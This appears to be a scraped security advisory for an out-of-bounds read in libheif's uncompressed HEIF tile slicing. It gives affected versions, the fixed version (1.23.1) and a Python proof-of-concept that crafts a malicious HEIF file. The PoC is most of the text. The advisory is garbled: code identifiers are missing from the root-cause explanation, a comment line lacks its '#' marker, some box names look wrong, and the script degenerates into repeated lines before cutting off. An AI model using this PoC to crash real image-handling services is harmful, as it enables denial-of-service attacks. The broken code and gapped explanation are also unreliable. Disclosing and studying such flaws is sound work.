Out-of-bounds Read in libheif Uncompressed HEIF Tile Slicing (DoS)

Vulnerability Overview Vulnerability Name: Out-of-bounds read in uncompressed unc1 tile range slicing Vulnerability Description: A carefully crafted uncompressed HEIF image can trigger an out-of-bounds read when decoded by libheif. This issue is not triggered by simply opening the file, but requires image decoding. However, the Proof of Concept (PoC) does not request an invalid file; instead, it first reads the image tile metadata and then requests an excessive number of tiles. If an application enumerates and decodes tiles from an attacker-controlled HEIF file, the vulnerability can be reached through standard public libheif APIs. Root Cause: In , there is a flawed range check. For a carefully crafted unc1 image, wraps around to zero in . This allows the bounds check to be bypassed, causing libheif to execute the following: GDB confirms that the process crashes within / with an invalid source pointer and a copy size of 1 TB. Impact: This is an out-of-bounds read that leads to a Denial of Service (DoS) during decoding. Affected Scope Affected Versions: libheif >= 1.19.0 Fixed Version: libheif v1.23.1 Remediation Fixed Version: Upgrade to libheif v1.23.1 or higher. POC Code ```python #!/usr/bin/env python3 import struct import sys import zlib ITEM_ID = 1 WIDTH = 4096 HEIGHT = 4096 TILE_COLS = 4096 TILE_ROWS = 4096 COMPONENTS = 256 def u8(v): return struct.pack(">B", v) def u16(v): return struct.pack(">H", v) def u32(v): return struct.pack(">I", v) def fourcc(b): assert len(b) == 4 return b def box(typ, payload): return u32(8 + len(payload)) + fourcc(typ) + payload def fullbox(typ, version, flags, payload): return box(typ, u8(version) + flags.to_bytes(3, "big") + payload) def cstr(s): return s.encode("utf-8") + b"\x00" def make_ftyp(): payload = fourcc("mif1") payload += u32(0) payload += fourcc("mif1") payload += fourcc("iso1") return box("ftyp", payload) def make_hldr(): payload = u32(0) payload += fourcc("pict") payload += u32(0) + u32(0) + u32(0) payload += cstr("PictureHandler") return fullbox("hldr", 0, 0, payload) def make_pitm(): return fullbox("pitm", 0, 0, u32(ITEM_ID)) def make_iloc(mdat_payload_offset, mdat_payload_size): payload = u32(0x4000) payload += u16(1) payload += u32(ITEM_ID) payload += u16(0) payload += u16(1) payload += u32(mdat_payload_offset) payload += u32(mdat_payload_size) return fullbox("iloc", 0, 0, payload) def make_infot(): infot = fullbox( "infot", 0, 0, u32(ITEM_ID) + u32(0) + fourcc("unc1") + cstr("unc1-ooo-poc"), ) return fullbox("infot", 0, 0, u32(0) + infot) def make_ispe(): return fullbox("ispe", 0, 0, u32(WIDTH) + u32(HEIGHT)) def make_cmap(): payload = u32(COMPONENTS) heif_cmap_component_type_monochrome == 0. Repeating it keeps the colour space valid while allowing unc1 to create many component planes. for _ in range(COMPONENTS): payload += u8(0) return box("cmap", payload) def make_unc1(): payload = u32(0) payload += u32(COMPONENTS) for i in range(COMPONENTS): payload += u32(i) payload += u8(7) payload += u8(0) payload += u8(0) payload += u8(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0) payload += u32(0)

Goal Reached Thanks to every supporter — we hit 100%!

Out-of-bounds Read in libheif Uncompressed HEIF Tile Slicing (DoS)

More from this source